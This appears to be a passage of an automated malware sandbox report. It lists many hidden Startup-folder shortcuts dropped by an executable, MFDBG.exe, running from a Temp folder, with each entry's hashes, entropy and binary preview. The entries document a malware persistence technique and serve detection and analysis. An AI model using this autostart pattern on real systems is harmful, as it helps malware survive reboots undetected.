File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9103460810697985
Encrypted:	false
SSDEEP:	24:8/2BfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/8UEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E5D051BA0F8FB97C4AFF62E53A049C10
SHA1:	A279CBA4DF47DFABE274F5B2B9C7605F1D04E2AC
SHA-256:	194AB88AE4647F3CE25EC97CDFE8B385EA1CD961165C26B6EFC00194FB2DC560
SHA-512:	EDA0D3C50C0ED4357580810AB3DF8454E536F5DDD41010039E01516DCA548722241C3BF54F4BEF35468ECC2874C14A5B209F2F4743A383C5BB6BCE32878106ED
Malicious:	false
Preview:	L..................F....".......d....,.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_673e9920e1864bde9fdd6f4566babc45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920759610243181
Encrypted:	false
SSDEEP:	24:8BuBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8u2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	710F014DA7933F16BED5C7A095F1AF12
SHA1:	D0B2C85D4908B523D405CE77CF3572B3EC3F72D1
SHA-256:	B5780731722229BBF5119DCB8A49B78BE0E77071B1EBA7F6268EAAA6230B6860
SHA-512:	EC4EC75A4D44BEBC8F115FDFBCFFB7472016A172F92187ED35E925D919B4431A30544512CD8E60DCCA8877B340EAC36EFF218D9D6E2CB086BA51FA3E2462110B
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6750f6c862f449eab63fc6fbccc1a384.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919154381612984
Encrypted:	false
SSDEEP:	24:8hBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87EEvZ0yRO7DLO2zdxdRd1kyg
MD5:	33880D40BE2D0520CC69DB2C45F228C7
SHA1:	AAB4414DB02F384EDB106AE6778EC9CE4F484E4D
SHA-256:	E244B80926506E5D6D6AE8FD68D8DD887B1BB57143F250FE70577F984792F6BD
SHA-512:	931FF6908ADE6B895F229B0025187666C246EE9C5652D575F3DB4E7B530EEFD28FD4D56AAE4B5D6715E7C67C540694FC53D82B3624074F76AB0FA57D742B5A0A
Malicious:	false
Preview:	L..................F....".......d....c.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....c.;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67883e30f2764c568d3608717b127d8d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923705512136212
Encrypted:	false
SSDEEP:	24:8uBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8E9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	AC3A3FB292FA69E687A1758A60DAD4A9
SHA1:	D21D56E59F1222DC169CD8F017D641EF152451B1
SHA-256:	FF7E7B6DCAA2B7268F1631DE59835FED6FD9A1AFF44B3AB3538570986B233EAF
SHA-512:	28BCF869387CFD781F807C383EE042BDB62516ED285E2A7E46FF3615DCF19122FEB1538CC0E35B489ACBEE0624EC40DC5AB12FD21753FD7C70734331F720287A
Malicious:	false
Preview:	L..................F....".......d....m.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6793b2a388e9442293095ba70f5c583b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923667297420404
Encrypted:	false
SSDEEP:	24:8SBfkf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ABEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F5CF8F3A86A5B2855355085175497955
SHA1:	08E2B0F4D48843C481D1F11235D6CC7F2E82754D
SHA-256:	AF0A7140019716463952349A25E6558318B4FC1C1CACDFA92847767B3F928BE0
SHA-512:	72B907CDC02FAE4718D3EBB0545ACD7A5F6A427139FD8B692CAFCD80B51E145C517CA6632FC240E91698A05B86016A83A35D23E9EF53665A95DD4DA1645F1B6B
Malicious:	false
Preview:	L..................F....".......d...N..[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679b140d753d463fa5f7410c49b12ae5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927661657506848
Encrypted:	false
SSDEEP:	24:8jBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lvEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4860619010C916B76881DF16161345CE
SHA1:	FC217ADCDDD31AA2F84B756E1BD3814DD41B8E0B
SHA-256:	7A11A6C0DEEC80146E26485D9201C201519C7B21DB5ED847E51C6F28745D0C7E
SHA-512:	F28F2D34EF58581270F7AFB717F99D302AACFE1E3C250AE34A19C59591D8ABEC5C427EC27F7348C6F3DAAF37E81A707A0DFD447340C4821F3ABD88968E6BB155
Malicious:	false
Preview:	L..................F....".......d....R(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679da50a292449628d7cd03cf9bd3609.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926313586035075
Encrypted:	false
SSDEEP:	24:8yBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	95741CDCD470420F1ED35A141E9AD552
SHA1:	ED251C881DCA363BF95A1D18F0AB17FF4A0BC011
SHA-256:	BAAC1E0E3139D41B0B135B9089E558A7E9BF4D8112F6C2AB885DFA9FF30672E1
SHA-512:	90B1C4B753548A9DC4D294CB5ACFB32A24883A06E298BE2314C1B1282C961A7B7394376E7ED3745AD4CF35CC8F8E58ABFFE594574D98AE5EDCF25B5555352566
Malicious:	false
Preview:	L..................F....".......d....3:.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67bc3ee56a074e4d8ce4a1bc0a653d8f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923653189551679
Encrypted:	false
SSDEEP:	24:8tQBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8teFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	649064BD63A6E06DC8DB24249001B5B5
SHA1:	106ABBE74974132F291A584A34443C36E44D3110
SHA-256:	13340607B9CF90E29719B7CCBCFBB0B13BBB0C8B75B272B1F17AF07031A06660
SHA-512:	D26C6D2311623F065F37B23D8BFE4F4D0DDC39A5AD0D7EB8D655E15E6DF10072EBD6C638B13BA63DD6B063E0ADA5C241007B034561AFBD575E319630FAAB57D6
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...-8..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67e60396547d4079aafe6badebce7f06.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925881669739327
Encrypted:	false
SSDEEP:	24:8aBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Y+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E0B7E44BA1192C987BEAF2D1F474B5FC
SHA1:	D8EB91620D8EEA14E87C08790CB4925552A67877
SHA-256:	CA6B00EA3BEC12BB54D11EABA0F4C9B39E1D7FE3967FA3C12E07B24BB66B3D59
SHA-512:	56C85856F2929C1B3117084A82588C3FBB22D51DF3BDC088B2C20FC4EBF1882EE2DE12EDBFFB729316E69EE33A7F427A876D41C519CC1EE0BC8088E96732E9C8
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68bca215bc054f63830ea727f720feb9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930502914230813
Encrypted:	false
SSDEEP:	24:87Bfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F0AFEF29FDFA4D600EEB94DAF37735D4
SHA1:	4BE3EF342FDACAE27F5E3DD5B3161FBD496DC9F5
SHA-256:	ABA607FA7A2AF9CD8080D4005410BCD612F2D64FA8BEFCAE457DA6955A32FFE2
SHA-512:	A306A0CE4DBEBBD974ADC6DCDC385985142A99821DFE3BCA53F8C1B1BE950B7262A21DCD9B71C2C49B203F8AD9EAAA74AD3DE1DD8291BAEC4EC15BBF608C8FBB
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68f8c22aaee34af38393ba46e9768cd0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916544959941016
Encrypted:	false
SSDEEP:	24:852Bfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qREvZ0yRO7DLO2zdxdRd1kyg
MD5:	0E383FCAB6FA3717B0857CDDACFE114C
SHA1:	71334D0009380CD9B4909684645C45009148B6BB
SHA-256:	7A895137003E59A30D58E021FDF6C788AD930E754A503B314E8640E2476BBB30
SHA-512:	48000C1B72A46F198B8B31D4238B7BC890E79CDBDFA5A4A9F3A0D7B57CDF497CBD099CE65A9BEF3DE5D70EDE3FE720B4D691B0E5FC27E340B75EC414FF89A373
Malicious:	false
Preview:	L..................F....".......d...J..?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68fea3d63f5242439fa57f355898ecec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913492077137026
Encrypted:	false
SSDEEP:	24:8gBff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ucEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1C22AC5120CBD96E60F14E3AA954157A
SHA1:	11BA2C5FC02F3BC6F825FEAFBF320F02B4DE43B0
SHA-256:	DD3F7DF5238E4E5865AF56086D7406AB7C020F10FB23F2F89807A4A810F33E11
SHA-512:	28942FDA9770D97E2B601A6147F11B3E2878200CB549C2A58F1EFFCD7A1392B823490DA4D8D614ED2B19A66E0D6A76AF0190C5628116FD54FD347D3668BA0C9F
Malicious:	false
Preview:	L..................F....".......d...64..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69c248046b8a40aa8d4c793a7b400958.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917181843324414
Encrypted:	false
SSDEEP:	24:8PBfZf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZREEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FF7A6AEE0A859A7D574E30DC60E6BF83
SHA1:	CFA9A10E2E7BFAC328D8E99D7A6E63E2BCB17639
SHA-256:	649D08509E360059CCA31211A8E1FDD52D6585C3C71B5F29824852ED7C0B22DD
SHA-512:	8B2FC97A95D4D6A456D177AB85A43CBECA129DA27EE668FD875D7E8E3243939120E3DD99B3F70F278DD1DBEE250E3F13CE5CF2B08DBD79A3DC5B985A906D0F1B
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69cebec86d8043fe9184513c40fbbdf8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
